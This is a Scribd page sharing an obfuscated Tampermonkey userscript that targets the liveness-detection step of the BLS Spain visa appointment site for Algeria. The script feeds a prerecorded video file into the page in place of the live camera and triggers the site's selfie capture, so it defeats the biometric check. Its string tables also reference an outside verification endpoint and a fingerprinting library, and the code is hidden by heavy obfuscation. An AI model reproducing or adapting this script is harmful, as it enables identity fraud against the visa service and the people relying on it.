0% found this document useful (0 votes)
1K views

Selfie

The document appears to be code for a userscript that allows streaming video as a camera for authentication purposes. It initializes canvases for drawing and motion detection, starts the video stream, and adds event listeners for playback control and capturing frames from the stream. A file input is used to select video files from the device to stream instead of the actual camera.

Uploaded by

oudiaiwalid59
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
1K views

Selfie

The document appears to be code for a userscript that allows streaming video as a camera for authentication purposes. It initializes canvases for drawing and motion detection, starts the video stream, and adds event listeners for playback control and capturing frames from the stream. A file input is used to select video files from the device to stream instead of the actual camera.

Uploaded by

oudiaiwalid59
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

// ==UserScript==

// @name BLS Selfie Done


// @namespace http://tampermonkey.net/
// @version 5.0.0
// @description Video as Camera streaming
// @author 49
// @match
https://algeria.blsspainglobal.com/DZA/blsappointment/livenessdetection*
// @match
https://algeria.blsspainglobal.com/*/blsappointment/livenessdetection*
// @copyright DevTeam CORPORATION
// @run-at document-idle
// @grant unsafeWindow
// @grant GM_xmlhttpRequest
// @grant GM_addElement
// @grant GM_info
// @grant GM_notification
// ==/UserScript==
(function(_0x53cfc5, _0x2929f9) {
var _0x523437 = _0x2196
, _0x2207e1 = _0x53cfc5();
while (!![]) {
try {
var _0x5b77d3 = -parseInt(_0x523437(0x1aa)) / 0x1 *
(parseInt(_0x523437(0x1d0)) / 0x2) + -parseInt(_0x523437(0x1b8)) / 0x3 +
parseInt(_0x523437(0x1c3)) / 0x4 + -parseInt(_0x523437(0x19f)) / 0x5 + -
parseInt(_0x523437(0x1b9)) / 0x6 + parseInt(_0x523437(0x1a0)) / 0x7 *
(parseInt(_0x523437(0x1af)) / 0x8) + parseInt(_0x523437(0x1b0)) / 0x9 *
(parseInt(_0x523437(0x1a9)) / 0xa);
if (_0x5b77d3 === _0x2929f9)
break;
else
_0x2207e1['push'](_0x2207e1['shift']());
} catch (_0xb39264) {
_0x2207e1['push'](_0x2207e1['shift']());
}
}
}(_0xe944, 0x746b3),
(async function() {
var _0x2bfd5d = _0x2196;
unsafeWindow[_0x2bfd5d(0x1bf)]['clear'](),
console['log'](_0x2bfd5d(0x1ca));
if ($(_0x2bfd5d(0x1c9))['length'] == 0x0 || $(_0x2bfd5d(0x1b6))
[_0x2bfd5d(0x1a6)] == 0x0 || typeof unsafeWindow[_0x2bfd5d(0x1cc)] ==
_0x2bfd5d(0x1a8))
return ![];
function _0x3e288a(_0x4ec675, _0x50cb13) {
var _0x504d31 = _0x2bfd5d;
if (_0x4ec675 === _0x50cb13)
return 0x0;
var _0x2537bf = _0x4ec675[_0x504d31(0x1a2)]('.')
, _0x5e3686 = _0x50cb13[_0x504d31(0x1a2)]('.')
, _0xdf6dde = Math[_0x504d31(0x1bd)](_0x2537bf[_0x504d31(0x1a6)],
_0x5e3686[_0x504d31(0x1a6)]);
for (var _0x505b89 = 0x0; _0x505b89 < _0xdf6dde; _0x505b89++) {
if (parseInt(_0x2537bf[_0x505b89]) > parseInt(_0x5e3686[_0x505b89]))
return 0x1;
if (parseInt(_0x2537bf[_0x505b89]) < parseInt(_0x5e3686[_0x505b89]))
return -0x1;
}
if (_0x2537bf[_0x504d31(0x1a6)] > _0x5e3686[_0x504d31(0x1a6)])
return 0x1;
if (_0x2537bf[_0x504d31(0x1a6)] < _0x5e3686[_0x504d31(0x1a6)])
return -0x1;
return 0x0;
}
const _0x2603bf = _0x2bfd5d(0x1cf);
var _0x3d8023 = $(_0x2bfd5d(0x1ac))[_0x2bfd5d(0x1cb)](_0x2bfd5d(0x1d2))
[_0x2bfd5d(0x1ad)](_0x2bfd5d(0x1ab) + new Date()[_0x2bfd5d(0x1ce)]())
[_0x2bfd5d(0x1a7)]({
'position': 'fixed',
'right': '0',
'bottom': '0',
'background': '#000000c4',
'color': _0x2bfd5d(0x1c6),
'z-index': _0x2bfd5d(0x1c5),
'width': _0x2bfd5d(0x1b1),
'height': _0x2bfd5d(0x1bc)
});
function _0x378d7e(_0xa5cd72) {
_0x3d8023['html'](_0xa5cd72);
}
GM_addElement('script', {
'textContent': "const _0x226f0b=_0x4af4;function _0x2926(){const
_0x4b6c8c=['change','files','innerHTML','green','videoWidth','#seek','1520603LJEZAP
','395643xTlOUR','timeupdate','display','click','5210FrWkXe','height','9px','durati
on','readyState','log','style','removeAttr','result-
view','#ffa34d','val','9712260pwzrYX','fixed','width','30px','44YUSHuM','getContext
','80382dzcYnG','100%','hp\\x20hd\\x20camera\\
x20(04f2:b58f)','1495038khsYfX','then','setAttribute','18sZaeBl','text','\/dz\/
blsappointment\/EmptyResult','1302nAHWFL','#capture','1px\\x20solid\\
x20green','1055992SWjvyg','play','css','translate','<input\\x20type= \\x22range\\
x22\\x20value=\\x220\\x22\\x20max= \\x22100\\x22\\x20id=\\x22seek\\x22\\x20step= \\
x221\\
x22>','videoHeight','currentTime','addEventListener','muted','disabled','<button>ST
ART<\/
button>','appendTo','getElementById','body','currentTarget'];_0x2926=function()
{return _0x4b6c8c;};return _0x2926();}(function(_0x2f861,_0x160774){const
_0x564d7c=_0x4af4,_0x7c23d2=_0x2f861();while(!![]){try{const _0x3c5032=-
parseInt(_0x564d7c(0x1f8))\/0x1+-parseInt(_0x564d7c(0x1d9))\/
0x2+parseInt(_0x564d7c(0x1d6))\/0x3*(parseInt(_0x564d7c(0x1d4))\/0x4)+-
parseInt(_0x564d7c(0x1fc))\/0x5*(-parseInt(_0x564d7c(0x1df))\/0x6)+-
parseInt(_0x564d7c(0x1f7))\/0x7+-parseInt(_0x564d7c(0x1e2))\/0x8*(-
parseInt(_0x564d7c(0x1dc))\/0x9)+parseInt(_0x564d7c(0x207))\/
0xa;if(_0x3c5032===_0x160774)break;else _0x7c23d2['push'](_0x7c23d2['shift']
());}catch(_0x78c4d3){_0x7c23d2['push'](_0x7c23d2['shift']());}}}
(_0x2926,0x609a1),isMobileDevice=()=>{return!![];},initCanvases=_0x154194=>{const
_0x2b91da=_0x4af4;let
_0x4e6c4e=_0x154194['videoWidth']\/_0x154194[_0x2b91da(0x1e7)]<0x3\/0x4?
_0x154194[_0x2b91da(0x1f5)]\/
_0x154194[_0x2b91da(0x1e7)]:0x3\/0x4;drawingCanvas[_0x2b91da(0x1fd)]=
_0x154194[_0x2b91da(0x1e7)],drawingCanvas['width' ]=drawingCanvas[_0x2b91da(0x1fd)]
*_0x4e6c4e,motionCanvas[_0x2b91da(0x1fd)]=
motionAreaHeight,motionCanvas[_0x2b91da(0x209)]=motionCanvas[_0x2b91da(0x1fd)]*_0x4
e6c4e;let _0x3ccaaa=drawingCanvas[_0x2b91da(0x1d5)]
('2d' );_0x3ccaaa[_0x2b91da(0x1e5)]
(drawingCanvas['width' ],0x0),_0x3ccaaa['scale' ](-
0x1,0x1),setInterval(processFrame,0x32);},startVideo=function(_0xf34a31){const
_0x533136=_0x4af4;initCanvases(video),capturing= ![],$(_0x533136(0x1e0))
[_0x533136(0x203)]
(_0x533136(0x1eb)),cameraLabel=_0x533136(0x1d8);},video[_0x226f0b(0x1e9)]
(_0x226f0b(0x1f9),()=>{const _0x447cbf=_0x226f0b;$(_0x447cbf(0x1f6))
[_0x447cbf(0x206)](video['currentTime']\/video[_0x447cbf(0x1ff)]*0x64);}),$
(_0x226f0b(0x1e0))['removeAttr'](_0x226f0b(0x1eb)),$(_0x226f0b(0x1e6))
[_0x226f0b(0x1f1)](function(_0x2058a1){const _0x39a55a=_0x226f0b;video['pause']
(),video[_0x39a55a(0x200)]===0x4&&(video[_0x39a55a(0x1e8)]=video[_0x39a55a(0x1ff)]*
$('#seek')[_0x39a55a(0x206)]()\/0x64);})['val'](0x0)[_0x226f0b(0x1e4)]
({'position':'fixed','bottom':'31px','left':0x0,'width':_0x226f0b(0x1d7)})
['appendTo'](_0x226f0b(0x1ef)),$(_0x226f0b(0x1ec))[_0x226f0b(0x1fb)]
(_0x568de9=>{const _0x159c90=_0x226f0b;video[_0x159c90(0x1e3)](),capturing=!!
[],cameraLabel=_0x159c90(0x1d8);})['css']
({'background':_0x226f0b(0x1f4),'border':_0x226f0b(0x1e1),'position':_0x226f0b(0x20
8),'top':'49px','right':0x0,'color':'white','font-size':_0x226f0b(0x1d3)})
['appendTo'](_0x226f0b(0x1ef)));function _0x4af4(_0x20c670,_0x48b3df){const
_0x2926e7=_0x2926();return _0x4af4=function(_0x4af4e1,_0x1ec4b0)
{_0x4af4e1=_0x4af4e1-0x1d3;let _0x4e0ae1=_0x2926e7[_0x4af4e1];return
_0x4e0ae1;},_0x4af4(_0x20c670,_0x48b3df);}var file=$('<input\\x20type= \\x27file\\
x27\\x20id=\\x27file1\\x27\\x20\/>')['css']
({'background':_0x226f0b(0x205),'position':_0x226f0b(0x208),'top':0x0,'right':0x0,'
padding':_0x226f0b(0x1fe)})[_0x226f0b(0x1ed)]('body')[_0x226f0b(0x1f1)]
(_0x3fcb8a=>{const _0x5c5946=_0x226f0b;$(_0x5c5946(0x1e0))[_0x5c5946(0x1fb)]
(_0x5be50a=>{const _0x159825=_0x5c5946;video[_0x159825(0x1e3)]
(),console[_0x159825(0x201)]('play\\x20start\\x20clcicked');});var
_0x502abb=_0x3fcb8a[_0x5c5946(0x1f0)][_0x5c5946(0x1f2)]
[0x0];_0x3fcb8a[_0x5c5946(0x1f0)]['value']='';try{if('MjAyMy02'!='MjAyMy02')
{console[_0x5c5946(0x201)]('bot\\x20:true');return;}$(_0x5c5946(0x1e0))
[_0x5c5946(0x203)](_0x5c5946(0x1eb)),video['pause'](),video[_0x5c5946(0x1db)]
('src',URL['createObjectURL'](_0x502abb)),video[_0x5c5946(0x1ea)]=!!
[],video['onloadeddata']=function(){const
_0x53e66d=_0x5c5946;video[_0x53e66d(0x1e8)]=0x0,cameraLabel=_0x53e66d(0x1d8),setTim
eout(()=>{startVideo(video);},0x1388);},video['load'](),setTimeout(()=>{const
_0x1d1a6d=_0x5c5946;fetch(_0x1d1a6d(0x1de))[_0x1d1a6d(0x1da)](_0x511a93=>{const
_0x249630=_0x1d1a6d;return _0x511a93[_0x249630(0x1dd)]();})[_0x1d1a6d(0x1da)]
(_0x4996ab=>{const _0x540757=_0x1d1a6d;document[_0x540757(0x1ee)](_0x540757(0x204))
[_0x540757(0x1f3)]=_0x4996ab,document[_0x540757(0x1ee)]('captureSpinner')
[_0x540757(0x202)][_0x540757(0x1fa)]='inline-block',capturing=!!
[];}),cameraLabel=_0x1d1a6d(0x1d8),firstCapturedImage=null,secondCapturedImage=null
,document[_0x1d1a6d(0x1ee)]('capture')[_0x1d1a6d(0x1eb)]=!![];},0x7d0),$
(_0x5c5946(0x1e0))[_0x5c5946(0x203)](_0x5c5946(0x1eb));}catch(_0x19dc6e)
{console[_0x5c5946(0x201)](_0x19dc6e);}});"
});
}()));
function _0x2196(_0x5f4ed5, _0x5017ac) {
var _0xe94449 = _0xe944();
return _0x2196 = function(_0x219620, _0x1f8707) {
_0x219620 = _0x219620 - 0x19d;
var _0x757f8a = _0xe94449[_0x219620];
return _0x757f8a;
}
,
_0x2196(_0x5f4ed5, _0x5017ac);
}
function _0xe944() {
var _0x56a8ee = ['appendTo', 'video', 'response', 'toLocaleString',
'http://blsmorocco.atspace.cc/face_api_v4.1/face_detect_api.php', '324xAudGY',
'msg', 'body', 'write', 'https://openfpcdn.io/fingerprintjs/v3', 'DATAX',
'998325egdyGt', '5388418nxZLAl', '&finger=', 'split', 'load', 'application/json',
'version', 'length', 'css', 'undefined', '8810JHCtbI', '4401LcdEax', 'Init\
x20Script\x20', '<div\x20class=\x22index\x22>', 'html', 'city_code', '8qTFUtp',
'13014NBGoOG', '290px', 'GET', 'getFullYear', 'Loading\x20....', 'city', 'canvas',
'name', '2090373NlqPjR', '3646956DWIrHe', 'json', 'script', 'auto', 'min', '?
action=verify&key=', 'console', 'Init', 'log', 'getMonth', '2601580YIShkS',
'document', '2323343', 'white', 'then', 'btoa', '#drawingcanvas', 'init\x20face\
x20detect'];
_0xe944 = function() {
return _0x56a8ee;
}
;
return _0xe944();
}

You might also like